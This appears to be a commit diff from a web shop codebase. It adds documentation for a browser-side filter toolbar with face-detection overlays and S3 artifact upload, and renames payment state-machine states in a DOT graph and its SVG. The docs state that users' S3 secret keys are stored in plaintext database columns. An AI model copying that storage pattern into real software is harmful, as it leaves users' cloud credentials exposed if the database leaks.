test_name = sys.argv[2]
if test_name == "all":
for fn in TESTS.values():
fn(base_url)
elif test_name in TESTS:
TESTS[test_name](base_url)
else:
print(f"Unknown test: {test_name}")
print("Available:", ", ".join(TESTS))
sys.exit(1)
print()
print("Done.")

372
docs/sandbox-mode.md Normal file
View file

@ -0,0 +1,372 @@
# Sandbox Mode: Creative Filter System
Client-side creative toolkit for MPS shops. When a shop owner enables sandbox
mode, all visitors see a floating filter toolbar. Users can apply real-time
CSS/SVG/canvas filters to images and video, export filtered artifacts, and
activate face detection overlays. All processing runs in the browser. The
server stores only the boolean toggle.
## Architecture
```
┌──────────────────────────────────────────────────────────┐
│ Browser (client) │
│ │
│ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ CSS Filters │ │ Canvas Export │ │ MediaPipe │ │
│ │ (live view) │──>│ (artifacts) │ │ Face Mesh │ │
│ │ │ │ │ │ (on-demand) │ │
│ │ 32 presets │ │ ctx.filter │ │ 468 landmarks│ │
│ │ 7 sliders │ │ toBlob() │ │ eye glow │ │
│ │ SVG filters │ │ MediaRecorder│ │ face mask │ │
│ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │
│ │ ┌─────┴─────┐ │ │
│ │ │ Download │ │ │
│ │ │ or Upload │ │ │
│ │ │ (presign) │ │ │
│ │ └───────────┘ │ │
│ │ │ │
│ ┌──────┴──────────────────────────────────────┴───────┐ │
│ │ sandbox.js (IIFE, ~700 lines) │ │
│ │ localStorage persistence │ window.sandboxReapply │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
└────────────────────────────┬──────────────────────────────┘
│
┌────────┴────────┐
│ MPS Server │
│ │
│ shop.sandbox │
│ _mode = True │
│ │
│ (that's it. │
│ server stores │
│ one boolean.) │
└─────────────────┘
```
## Filter Pipeline
```
User clicks preset User adjusts slider
│ │
▼ ▼
┌─────────────┐ ┌──────────────────┐
│ PRESETS[idx] │ │ sliderValues[id] │
│ .css string │ │ → fn(val+unit) │
└──────┬──────┘ └────────┬─────────┘
│ │
└────────────┬─────────────┘
│
▼
┌──────────────────┐
│ getCurrentFilter │ CSS filter string:
│ CSS() │──> "sepia(40%) contrast(90%)
└──────────────────┘ brightness(105%) saturate(80%)"
│
▼
┌──────────────────┐
│ element.style │ Applied to: img, video
│ .filter = css │ (NOT <html> — stacks with
└──────────────────┘ shop color_filter)
```
## Export Pipeline
### Image Export
```
img.product-main
│
▼
new Image()
crossOrigin = "anonymous" ← CORS required from CDN
│
▼
canvas.getContext("2d")
ctx.filter = getCurrentFilterCSS()
ctx.drawImage(img, 0, 0)
│
▼
canvas.toBlob("image/png")
│
├──> Download (a.download = "sandbox-export.png")
│
└──> Upload (presigned POST to user's S3 bucket)
```
### Video Export
```
video element
│
▼
canvas.captureStream(30fps)
│
▼
MediaRecorder(stream, "video/webm")
│
▼
requestAnimationFrame loop:
ctx.filter = getCurrentFilterCSS()
ctx.drawImage(video, 0, 0)
│
▼
recorder.stop() → Blob
│
└──> Download ("sandbox-export.webm")
```
## Face Detection Pipeline (MediaPipe)
```
User clicks "Load Face Detection"
│
▼
Load face_mesh.js from CDN (~4MB WASM)
Load camera_utils.js from CDN
│
▼
FaceMesh({ maxNumFaces: 4, refineLandmarks: true })
│
│
┌────┴────────────────────┐
│ │
▼ ▼
Image path Video path
│ │
draw to canvas Camera utility
faceMesh.send() onFrame → send()
│ │
▼ ▼
onResults(landmarks) onResults(landmarks)
│ │
└────────┬────────────────┘
│
▼
468 face landmarks per face
│
┌──────┴──────┐
│ │
▼ ▼
Eye Glow Face Mask
│ │
│ Iris │ Face outline
│ landmarks │ (landmarks
│ 468-477 │ 10,338,297...)
│ │
│ Radial │ Fill face oval
│ gradient │ Draw eye shapes
│ overlay │ Draw eyebrows
│ │ Draw mustache
│ │ Draw goatee
▼ ▼
Canvas overlay composited
on top of media element
```
## Filter Preset Reference
### Basic (4)
| Name | CSS Filter Chain |
|------|-----------------|
| None | `none` |
| Grayscale | `grayscale(100%)` |
| Sepia | `sepia(100%)` |
| Invert | `invert(100%)` |
### Warm (4)
| Name | CSS Filter Chain |
|------|-----------------|
| Warm | `sepia(30%) saturate(140%) brightness(105%)` |
| Sunset | `sepia(50%) hue-rotate(-15deg) saturate(150%)` |
| Golden | `sepia(60%) brightness(110%) contrast(90%)` |
| Amber | `sepia(40%) saturate(160%) hue-rotate(-10deg) brightness(108%)` |
### Cool (4)
| Name | CSS Filter Chain |
|------|-----------------|
| Cool | `sepia(20%) hue-rotate(180deg) saturate(120%)` |
| Arctic | `sepia(30%) hue-rotate(200deg) brightness(110%)` |
| Moonlight | `sepia(40%) hue-rotate(220deg) saturate(80%) brightness(105%)` |
| Frost | `sepia(25%) hue-rotate(190deg) brightness(115%) contrast(95%)` |
### Dramatic (4)
| Name | CSS Filter Chain |
|------|-----------------|
| Hi-Contrast | `contrast(180%) saturate(120%)` |
| Noir | `grayscale(100%) contrast(150%) brightness(90%)` |
| Faded | `contrast(80%) saturate(60%) brightness(110%)` |
| Vintage | `sepia(40%) contrast(90%) brightness(105%) saturate(80%)` |
### Color (5)
| Name | CSS Filter Chain |
|------|-----------------|
| Red Shift | `sepia(100%) hue-rotate(-30deg) saturate(300%)` |
| Green Shift | `sepia(100%) hue-rotate(85deg) saturate(300%)` |
| Blue Shift | `sepia(100%) hue-rotate(200deg) saturate(300%)` |
| Purple Haze | `sepia(100%) hue-rotate(265deg) saturate(200%)` |
| Cyan | `sepia(100%) hue-rotate(145deg) saturate(300%)` |
### Instagram-Style (7)
| Name | CSS Filter Chain |
|------|-----------------|
| Clarendon | `contrast(120%) saturate(125%)` |
| Juno | `sepia(10%) contrast(110%) saturate(150%) brightness(105%)` |
| Lark | `contrast(90%) brightness(115%) saturate(85%)` |
| Gingham | `brightness(105%) hue-rotate(350deg) saturate(80%)` |
| Nashville | `sepia(25%) contrast(120%) brightness(105%) saturate(120%) hue-rotate(-15deg)` |
| Valencia | `sepia(15%) contrast(110%) brightness(108%) saturate(120%)` |
| Walden | `brightness(110%) saturate(160%) sepia(30%) hue-rotate(350deg)` |
### SVG Filters (4)
| Name | Applied As |
|------|-----------|
| Duo Blue | `url(#sandbox-duotone-blue)` — SVG feColorMatrix |
| Duo Green | `url(#sandbox-duotone-green)` — SVG feColorMatrix |
| Film Grain | `url(#sandbox-grain)` — SVG feTurbulence + feBlend |
| Vignette | `url(#sandbox-vignette)` — SVG feFlood + feGaussianBlur |
## Adjustment Sliders
| Slider | Range | Default | CSS Function |
|--------|-------|---------|-------------|
| Brightness | 0-200% | 100% | `brightness()` |
| Contrast | 0-200% | 100% | `contrast()` |
| Saturation | 0-300% | 100% | `saturate()` |
| Hue | 0-360deg | 0deg | `hue-rotate()` |
| Blur | 0-20px | 0px | `blur()` |
| Sepia | 0-100% | 0% | `sepia()` |
| Grayscale | 0-100% | 0% | `grayscale()` |
## Shop Owner Configuration
Enable in **Shop Settings > Announcement Ribbon Settings** (the form section
that contains display toggles):
```
Settings > ribbon-settings form section > Sandbox Mode > Enable/Disable
```
The toggle adds `sandbox_mode = True` to the shop model. The base template
conditionally renders the toolbar HTML, SVG filter definitions, and loads
`sandbox.js` only when enabled.
## Watch Mode SPA Integration
When watch mode is enabled, SPA navigation replaces media elements without a
full page reload. The `updatePageContent()` function in `watch.js` calls
`window.sandboxReapply()` after swapping DOM elements. This re-applies the
active sandbox filter to newly loaded images and video with a 50ms delay to
let the DOM settle.
## CORS Requirements for Canvas Export
CSS filter preview works without CORS — filters are applied as rendering hints
on the element. Canvas export (toBlob) requires pixel access, which requires
CORS headers from the CDN.
DigitalOcean Spaces CORS configuration needed:
```json
{
"CORSRules": [{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET"],
"AllowedHeaders": ["*"],
"MaxAgeSeconds": 3600
}]
}
```
Without CORS, the export button shows a user-friendly error message. Filter
preview continues to work normally.
## localStorage Keys
| Key | Value | Purpose |
|-----|-------|---------|
| `mps_sandbox_preset` | Integer (0-31) | Active preset index |
| `mps_sandbox_sliders` | JSON object | Slider values |
| `mps_sandbox_panel` | "0" or "1" | Panel open/closed |
| `mps_sandbox_mode` | "preset" or "custom" | Filter mode |
## Artifact Storage (User S3 Bucket)
Users can configure their own S3-compatible bucket to upload sandbox artifacts.
```
User Settings (/u/settings)
│
│ Artifact Storage form:
│ - S3 Endpoint URL
│ - Region (optional)
│ - Bucket Name
│ - Access Key
│ - Secret Key
│
▼
POST /u/settings/storage
│
│ Saves credentials on User model
│ (s3_endpoint, s3_region, s3_bucket,
│ s3_access_key, s3_secret_key)
│
▼
Sandbox toolbar shows "Upload to Bucket" button
│ (only when data-has-bucket="1")
│
│ 1. User exports image/video (download)
│ 2. User clicks "Upload to Bucket"
│ 3. JS POSTs to /u/sandbox/upload
│ 4. Server generates presigned POST with user's credentials
│ 5. JS uploads blob directly to user's S3 bucket
│
▼
User's S3 Bucket
sandbox/{user_id}/{timestamp}-{filename}
```
**Supported services:** DigitalOcean Spaces, AWS S3, MinIO, Backblaze B2,
any S3-compatible endpoint.
**Security:** Credentials stored as plain Unicode columns (same pattern as
Stripe/PayPal/Adyen keys on Shop model). Secret key field uses `type="password"`
in the form.
## Files
| File | Role |
|------|------|
| `models/shop.py` | `sandbox_mode` Boolean column |
| `models/user.py` | S3 credential columns + `has_s3_bucket` property |
| `views/shop.py` | Toggle handler in ribbon-settings |
| `views/user.py` | Storage settings POST handler + S3 fields in settings dict |
| `views/user_sandbox.py` | Presigned upload endpoint (`/u/sandbox/upload`) |
| `templates/shop_settings.j2` | Radio buttons for enable/disable |
| `templates/user_settings.j2` | Artifact Storage form |
| `templates/base.j2` | Conditional toolbar HTML + SVG defs + `data-has-bucket` |
| `static/js/sandbox.js` | Client-side filter engine + upload-to-bucket |
| `static/css/common.css` | Toolbar layout (CSS Grid) |
| `static/js/watch.js` | `sandboxReapply()` hook in SPA navigation |
| `routes.py` | `user_storage_settings`, `user_sandbox_upload` routes |
| `scripts/alembic/versions/a2c13d3117f2_*.py` | Shop sandbox_mode migration |
| `scripts/alembic/versions/f898ba460612_*.py` | User S3 credentials migration |
## Mobile Behavior
On screens `max-width: 800px`:
- Toggle button: bottom-right corner (10px offset)
- Panel: full-width (10px margin left + right)
- Max height: 50vh (scrollable)
- All controls always visible (no hover-only interactions)
- Touch targets adequate for finger tapping
## Stacking with Shop Color Filter
The shop-level `color_filter` (grayscale, red, green, blue, etc.) applies to
`<html>` via `data-color-filter` attribute. Sandbox filters apply to individual
`img` and `video` elements via `element.style.filter`. These stack: the shop
filter colors the entire page, and the sandbox filter adds per-element effects
on top. This is intentional — the two systems are independent and composable.

90
docs/state-machine.dot
View file

@ -4,61 +4,61 @@ digraph G {
edge [penwidth=1.5, fontsize=10, fontname="Arial"];
"[*]" [shape=circle, label="", width=0.2, fillcolor=black, style=filled];
"pending" [fillcolor="#e7f3ff", fontcolor="#0056b3", color="#0056b3", fontsize=12];
"doublepay_refunded" [fillcolor="#e7f3ff", fontcolor="#0056b3", color="#0056b3", fontsize=12];
"latepay_refunded" [fillcolor="#e7f3ff", fontcolor="#0056b3", color="#0056b3", fontsize=12];
"doublepay-refunded" [fillcolor="#e7f3ff", fontcolor="#0056b3", color="#0056b3", fontsize=12];
"latepay-refunded" [fillcolor="#e7f3ff", fontcolor="#0056b3", color="#0056b3", fontsize=12];
"received" [fillcolor="#cce5ff", fontcolor="#004085", color="#004085", fontsize=12];
"expired" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"cancelled" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"confirmed" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"confirmed_complete" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"confirmed_overpay" [fillcolor="#cce5ff", fontcolor="#004085", color="#004085", fontsize=12];
"underpaid_refunded" [fillcolor="#fff3cd", fontcolor="#856404", color="#856404", fontsize=12];
"out_of_stock_refunded" [fillcolor="#fff3cd", fontcolor="#856404", color="#856404", fontsize=12];
"confirmed_overpay_refunded" [fillcolor="#fff3cd", fontcolor="#856404", color="#856404", fontsize=12];
"confirmed_overpay_refunded_complete" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"confirmed_overpay_not_refunded" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"latepay_refunded_complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"latepay_not_refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"underpaid_refunded_complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"underpaid_not_refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"out_of_stock_refunded_complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"out_of_stock_not_refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"doublepay_refunded_complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"doublepay_not_refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"confirmed-complete" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"confirmed-overpay" [fillcolor="#cce5ff", fontcolor="#004085", color="#004085", fontsize=12];
"underpaid-refunded" [fillcolor="#fff3cd", fontcolor="#856404", color="#856404", fontsize=12];
"out-of-stock-refunded" [fillcolor="#fff3cd", fontcolor="#856404", color="#856404", fontsize=12];
"confirmed-overpay-refunded" [fillcolor="#fff3cd", fontcolor="#856404", color="#856404", fontsize=12];
"confirmed-overpay-refunded-complete" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"confirmed-overpay-not-refunded" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"latepay-refunded-complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"latepay-not-refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"underpaid-refunded-complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"underpaid-not-refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"out-of-stock-refunded-complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"out-of-stock-not-refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"doublepay-refunded-complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"doublepay-not-refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"terminated" [shape=doubleoctagon, fillcolor="#e0e0e0", fontcolor="#333333", color="#333333", fontsize=12];
"[*]" -> "pending";
"[*]" -> "doublepay_refunded" [label="Duplicate payment detected"];
"[*]" -> "latepay_refunded" [label="Late payment detected"];
"[*]" -> "doublepay-refunded" [label="Duplicate payment detected"];
"[*]" -> "latepay-refunded" [label="Late payment detected"];
"pending" -> "received" [label="Payment detected in mempool"];
"pending" -> "expired" [label="Payment timeout (never received)"];
"pending" -> "cancelled" [label="User cancellation"];
"received" -> "confirmed" [label="Sufficient payment + confirmations"];
"received" -> "confirmed_overpay" [label="Overpayment detected"];
"received" -> "underpaid_refunded" [label="Underpayment detected"];
"received" -> "out_of_stock_refunded" [label="Product unavailable"];
"confirmed" -> "confirmed_complete" [label="Swept to cold storage"];
"confirmed_complete" -> "terminated" [label="✓ Terminal Success"];
"confirmed_overpay" -> "confirmed_overpay_refunded" [label="Initiate refund"];
"confirmed_overpay_refunded" -> "confirmed_overpay_refunded_complete" [label="Refund confirmed"];
"confirmed_overpay_refunded" -> "confirmed_overpay_not_refunded" [label="No refund wallet configured"];
"confirmed_overpay_refunded_complete" -> "terminated" [label="✓ Terminal Success"];
"confirmed_overpay_not_refunded" -> "terminated" [label="✓ Terminal Success (Not Refunded)"];
"received" -> "confirmed-overpay" [label="Overpayment detected"];
"received" -> "underpaid-refunded" [label="Underpayment detected"];
"received" -> "out-of-stock-refunded" [label="Product unavailable"];
"confirmed" -> "confirmed-complete" [label="Swept to cold storage"];
"confirmed-complete" -> "terminated" [label="✓ Terminal Success"];
"confirmed-overpay" -> "confirmed-overpay-refunded" [label="Initiate refund"];
"confirmed-overpay-refunded" -> "confirmed-overpay-refunded-complete" [label="Refund confirmed"];
"confirmed-overpay-refunded" -> "confirmed-overpay-not-refunded" [label="No refund wallet configured"];
"confirmed-overpay-refunded-complete" -> "terminated" [label="✓ Terminal Success"];
"confirmed-overpay-not-refunded" -> "terminated" [label="✓ Terminal Success (Not Refunded)"];
"expired" -> "terminated" [label="✓ Terminal Failed (Expired)"];
"latepay_refunded" -> "latepay_refunded_complete" [label="Refund confirmed"];
"latepay_refunded" -> "latepay_not_refunded" [label="No refund wallet configured"];
"latepay_refunded_complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"latepay_not_refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"underpaid_refunded" -> "underpaid_refunded_complete" [label="Refund confirmed"];
"underpaid_refunded" -> "underpaid_not_refunded" [label="No refund wallet configured"];
"underpaid_refunded_complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"underpaid_not_refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"out_of_stock_refunded" -> "out_of_stock_refunded_complete" [label="Refund confirmed"];
"out_of_stock_refunded" -> "out_of_stock_not_refunded" [label="No refund wallet configured"];
"out_of_stock_refunded_complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"out_of_stock_not_refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"doublepay_refunded" -> "doublepay_refunded_complete" [label="Refund confirmed"];
"doublepay_refunded" -> "doublepay_not_refunded" [label="No refund wallet configured"];
"doublepay_refunded_complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"doublepay_not_refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"latepay-refunded" -> "latepay-refunded-complete" [label="Refund confirmed"];
"latepay-refunded" -> "latepay-not-refunded" [label="No refund wallet configured"];
"latepay-refunded-complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"latepay-not-refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"underpaid-refunded" -> "underpaid-refunded-complete" [label="Refund confirmed"];
"underpaid-refunded" -> "underpaid-not-refunded" [label="No refund wallet configured"];
"underpaid-refunded-complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"underpaid-not-refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"out-of-stock-refunded" -> "out-of-stock-refunded-complete" [label="Refund confirmed"];
"out-of-stock-refunded" -> "out-of-stock-not-refunded" [label="No refund wallet configured"];
"out-of-stock-refunded-complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"out-of-stock-not-refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"doublepay-refunded" -> "doublepay-refunded-complete" [label="Refund confirmed"];
"doublepay-refunded" -> "doublepay-not-refunded" [label="No refund wallet configured"];
"doublepay-refunded-complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"doublepay-not-refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"cancelled" -> "terminated" [label="✓ Terminal Failed (Cancelled)"];
}

573
docs/state-machine.dot.svg
View file

@ -4,385 +4,398 @@
<!-- Generated by graphviz version 12.2.1 (20241206.2353)
-->
<!-- Title: G Pages: 1 -->
<svg width="1684pt" height="698pt"
viewBox="0.00 0.00 1684.38 697.74" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 693.74)">
<svg width="1713pt" height="696pt"
viewBox="0.00 0.00 1712.88 696.14" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 692.14)">
<title>G</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-693.74 1680.38,-693.74 1680.38,4 -4,4"/>
<polygon fill="white" stroke="none" points="-4,4 -4,-692.14 1708.88,-692.14 1708.88,4 -4,4"/>
<!-- [*] -->
<g id="node1" class="node">
<title>[*]</title>
<ellipse fill="black" stroke="black" stroke-width="2" cx="7.2" cy="-167.91" rx="7.2" ry="7.2"/>
<ellipse fill="black" stroke="black" stroke-width="2" cx="7.2" cy="-164.41" rx="7.2" ry="7.2"/>
</g>
<!-- pending -->
<g id="node2" class="node">
<title>pending</title>
<path fill="#e7f3ff" stroke="#0056b3" stroke-width="2" d="M98.9,-267.91C98.9,-267.91 63.4,-267.91 63.4,-267.91 57.4,-267.91 51.4,-261.91 51.4,-255.91 51.4,-255.91 51.4,-243.91 51.4,-243.91 51.4,-237.91 57.4,-231.91 63.4,-231.91 63.4,-231.91 98.9,-231.91 98.9,-231.91 104.9,-231.91 110.9,-237.91 110.9,-243.91 110.9,-243.91 110.9,-255.91 110.9,-255.91 110.9,-261.91 104.9,-267.91 98.9,-267.91"/>
<text text-anchor="middle" x="81.15" y="-245.64" font-family="Arial" font-size="12.00" fill="#0056b3">pending</text>
<path fill="#e7f3ff" stroke="#0056b3" stroke-width="2" d="M98.9,-264.41C98.9,-264.41 63.4,-264.41 63.4,-264.41 57.4,-264.41 51.4,-258.41 51.4,-252.41 51.4,-252.41 51.4,-240.41 51.4,-240.41 51.4,-234.41 57.4,-228.41 63.4,-228.41 63.4,-228.41 98.9,-228.41 98.9,-228.41 104.9,-228.41 110.9,-234.41 110.9,-240.41 110.9,-240.41 110.9,-252.41 110.9,-252.41 110.9,-258.41 104.9,-264.41 98.9,-264.41"/>
<text text-anchor="middle" x="81.15" y="-242.13" font-family="Arial" font-size="12.00" fill="#0056b3">pending</text>
</g>
<!-- [*]&#45;&gt;pending -->
<g id="edge1" class="edge">
<title>[*]&#45;&gt;pending</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M13.15,-173.55C21.85,-183.47 40.45,-204.67 55.85,-222.22"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="52.82,-224.07 62.04,-229.27 58.08,-219.45 52.82,-224.07"/>
<path fill="none" stroke="black" stroke-width="1.5" d="M13.15,-170.04C21.85,-179.96 40.45,-201.16 55.85,-218.71"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="52.82,-220.56 62.04,-225.77 58.08,-215.94 52.82,-220.56"/>
</g>
<!-- doublepay_refunded -->
<!-- doublepay&#45;refunded -->
<g id="node3" class="node">
<title>doublepay_refunded</title>
<path fill="#e7f3ff" stroke="#0056b3" stroke-width="2" d="M943.52,-185.91C943.52,-185.91 841.27,-185.91 841.27,-185.91 835.27,-185.91 829.27,-179.91 829.27,-173.91 829.27,-173.91 829.27,-161.91 829.27,-161.91 829.27,-155.91 835.27,-149.91 841.27,-149.91 841.27,-149.91 943.52,-149.91 943.52,-149.91 949.52,-149.91 955.52,-155.91 955.52,-161.91 955.52,-161.91 955.52,-173.91 955.52,-173.91 955.52,-179.91 949.52,-185.91 943.52,-185.91"/>
<text text-anchor="middle" x="892.4" y="-163.64" font-family="Arial" font-size="12.00" fill="#0056b3">doublepay_refunded</text>
<title>doublepay&#45;refunded</title>
<path fill="#e7f3ff" stroke="#0056b3" stroke-width="2" d="M982.52,-182.41C982.52,-182.41 883.27,-182.41 883.27,-182.41 877.27,-182.41 871.27,-176.41 871.27,-170.41 871.27,-170.41 871.27,-158.41 871.27,-158.41 871.27,-152.41 877.27,-146.41 883.27,-146.41 883.27,-146.41 982.52,-146.41 982.52,-146.41 988.52,-146.41 994.52,-152.41 994.52,-158.41 994.52,-158.41 994.52,-170.41 994.52,-170.41 994.52,-176.41 988.52,-182.41 982.52,-182.41"/>
<text text-anchor="middle" x="932.9" y="-160.13" font-family="Arial" font-size="12.00" fill="#0056b3">doublepay&#45;refunded</text>
</g>
<!-- [*]&#45;&gt;doublepay_refunded -->
<!-- [*]&#45;&gt;doublepay&#45;refunded -->
<g id="edge2" class="edge">
<title>[*]&#45;&gt;doublepay_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M15.35,-167.91C28.28,-167.91 56.42,-167.91 80.15,-167.91 80.15,-167.91 80.15,-167.91 627.9,-167.91 691.45,-167.91 763.63,-167.91 816.36,-167.91"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="816.04,-171.41 826.04,-167.91 816.04,-164.41 816.04,-171.41"/>
<text text-anchor="middle" x="355.03" y="-170.41" font-family="Arial" font-size="10.00">Duplicate payment detected</text>
<title>[*]&#45;&gt;doublepay&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M15.35,-164.41C28.28,-164.41 56.42,-164.41 80.15,-164.41 80.15,-164.41 80.15,-164.41 662.15,-164.41 728.41,-164.41 803.82,-164.41 858.03,-164.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="858.03,-167.91 868.03,-164.41 858.03,-160.91 858.03,-167.91"/>
<text text-anchor="middle" x="355.03" y="-166.91" font-family="Arial" font-size="10.00">Duplicate payment detected</text>
</g>
<!-- latepay_refunded -->
<!-- latepay&#45;refunded -->
<g id="node4" class="node">
<title>latepay_refunded</title>
<path fill="#e7f3ff" stroke="#0056b3" stroke-width="2" d="M934.9,-95.91C934.9,-95.91 849.9,-95.91 849.9,-95.91 843.9,-95.91 837.9,-89.91 837.9,-83.91 837.9,-83.91 837.9,-71.91 837.9,-71.91 837.9,-65.91 843.9,-59.91 849.9,-59.91 849.9,-59.91 934.9,-59.91 934.9,-59.91 940.9,-59.91 946.9,-65.91 946.9,-71.91 946.9,-71.91 946.9,-83.91 946.9,-83.91 946.9,-89.91 940.9,-95.91 934.9,-95.91"/>
<text text-anchor="middle" x="892.4" y="-73.64" font-family="Arial" font-size="12.00" fill="#0056b3">latepay_refunded</text>
<title>latepay&#45;refunded</title>
<path fill="#e7f3ff" stroke="#0056b3" stroke-width="2" d="M973.9,-95.41C973.9,-95.41 891.9,-95.41 891.9,-95.41 885.9,-95.41 879.9,-89.41 879.9,-83.41 879.9,-83.41 879.9,-71.41 879.9,-71.41 879.9,-65.41 885.9,-59.41 891.9,-59.41 891.9,-59.41 973.9,-59.41 973.9,-59.41 979.9,-59.41 985.9,-65.41 985.9,-71.41 985.9,-71.41 985.9,-83.41 985.9,-83.41 985.9,-89.41 979.9,-95.41 973.9,-95.41"/>
<text text-anchor="middle" x="932.9" y="-73.13" font-family="Arial" font-size="12.00" fill="#0056b3">latepay&#45;refunded</text>
</g>
<!-- [*]&#45;&gt;latepay_refunded -->
<!-- [*]&#45;&gt;latepay&#45;refunded -->
<g id="edge3" class="edge">
<title>[*]&#45;&gt;latepay_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M11.05,-160.91C19.01,-142.64 43.31,-94.91 80.15,-94.91 80.15,-94.91 80.15,-94.91 627.9,-94.91 695.1,-94.91 771.73,-89.34 824.96,-84.57"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="825.06,-88.08 834.7,-83.68 824.43,-81.11 825.06,-88.08"/>
<text text-anchor="middle" x="355.03" y="-97.41" font-family="Arial" font-size="10.00">Late payment detected</text>
<title>[*]&#45;&gt;latepay&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M10.83,-157.3C18.38,-138.24 42.09,-87.41 80.15,-87.41 80.15,-87.41 80.15,-87.41 662.15,-87.41 732.19,-87.41 812.38,-84 867.01,-81.16"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="866.88,-84.67 876.68,-80.65 866.51,-77.68 866.88,-84.67"/>
<text text-anchor="middle" x="355.03" y="-89.91" font-family="Arial" font-size="10.00">Late payment detected</text>
</g>
<!-- received -->
<g id="node5" class="node">
<title>received</title>
<path fill="#cce5ff" stroke="#004085" stroke-width="2" d="M373.9,-479.91C373.9,-479.91 336.15,-479.91 336.15,-479.91 330.15,-479.91 324.15,-473.91 324.15,-467.91 324.15,-467.91 324.15,-455.91 324.15,-455.91 324.15,-449.91 330.15,-443.91 336.15,-443.91 336.15,-443.91 373.9,-443.91 373.9,-443.91 379.9,-443.91 385.9,-449.91 385.9,-455.91 385.9,-455.91 385.9,-467.91 385.9,-467.91 385.9,-473.91 379.9,-479.91 373.9,-479.91"/>
<text text-anchor="middle" x="355.03" y="-457.64" font-family="Arial" font-size="12.00" fill="#004085">received</text>
<path fill="#cce5ff" stroke="#004085" stroke-width="2" d="M373.9,-449.41C373.9,-449.41 336.15,-449.41 336.15,-449.41 330.15,-449.41 324.15,-443.41 324.15,-437.41 324.15,-437.41 324.15,-425.41 324.15,-425.41 324.15,-419.41 330.15,-413.41 336.15,-413.41 336.15,-413.41 373.9,-413.41 373.9,-413.41 379.9,-413.41 385.9,-419.41 385.9,-425.41 385.9,-425.41 385.9,-437.41 385.9,-437.41 385.9,-443.41 379.9,-449.41 373.9,-449.41"/>
<text text-anchor="middle" x="355.03" y="-427.13" font-family="Arial" font-size="12.00" fill="#004085">received</text>
</g>
<!-- pending&#45;&gt;received -->
<g id="edge4" class="edge">
<title>pending&#45;&gt;received</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M105.9,-268.77C113.26,-274.6 121.41,-281.03 128.9,-286.91 196.48,-339.92 275.85,-401.45 320,-435.61"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="317.8,-438.34 327.86,-441.69 322.09,-432.8 317.8,-438.34"/>
